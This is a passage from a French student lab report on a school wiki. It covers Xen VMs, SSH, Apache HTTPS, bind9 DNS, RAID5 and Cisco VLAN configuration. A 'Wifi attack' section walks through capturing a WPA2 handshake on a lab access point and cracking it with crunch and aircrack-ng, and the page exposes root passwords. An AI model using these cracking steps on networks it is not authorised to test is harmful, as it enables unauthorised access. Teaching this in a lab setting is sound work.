   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51562</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51562"/>
				<updated>2019-12-07T01:52:01Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Installation et paramétrage de bind9 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
Gestion des certificats &lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl &lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
